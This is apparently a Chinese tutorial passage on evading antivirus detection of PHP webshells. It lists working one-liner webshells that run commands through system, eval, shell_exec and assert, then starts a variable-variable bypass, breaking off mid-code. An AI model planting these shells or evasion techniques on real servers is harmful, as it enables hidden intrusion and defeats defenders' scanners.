本文介绍php类webshell简单的免杀方法,总结不一定全面,仅供读者参考。
webshell通常可分为一句话木马,小马,大马,内存马。
一句话木马是最简单也是最常见的webshell形式,这种木马体积小,隐蔽较强,免杀相对容易;
小马是功能较为简单的Webshell,但比一句话木马稍复杂,可能会包含一个简单的文件管理界面或命令执行功能;
大马是功能全面的webshell,通常带有图形用户界面,提供文件管理、数据库操作、命令执行等多种功能,比如常用的蚁剑,冰蝎,哥斯拉等,大马由于功能复杂,在做免杀时一般需要将大马伪装成合法管理工具,分解成多个独立模块,分别加载,降低单点检测风险;
内存马是一种驻留在内存中的恶意代码,通常通过修改服务器进程的内存空间来执行,极难被发现和删除。与一般的webshell木马不同,内存马免杀一般需要采用内存隐藏,动态注入等方式,尽可能的隐藏恶意代码在内存中的存在,降低被持久发现的风险。
下面以一句话木马为例,通过几种一般的免杀方式对其进行免杀处理。
一句话木马
下面是常见的命令执行一句话木马:
<?php system($_POST['xxx']); ?>
<?php eval($_POST['xxx']); ?>
<?php echo shell_exec($_POST['xxx']); ?>
<?php assert($_POST['xxx']); ?>
在做免杀的时候,不仅需要避免木马被杀毒软件和安全工具检测到,同时还需要保证木马功能正常运行。
在 windows10/11 虚拟机上利用 phpstudy 搭建一个本地网站,本实验木马放在网站下的 free-kill 目录中。编写好原始的一句话木马命名为 test0.php
<?php echo shell_exec($_GET['xxx']); ?>
执行 echo hack 命令验证功能:

使用河马webshell查杀(SHELLPUB.COM在线查杀),可以轻易检测出来:

可变变量绕过
一些安全检测机制会直接扫描代码中是否包含敏感函数调用,对此可以把敏感的函数名隐藏在可变变量中。下面通过把 shell_exec 隐藏到可变变量中实现:
<?ph


1370

被折叠的 条评论
为什么被折叠?



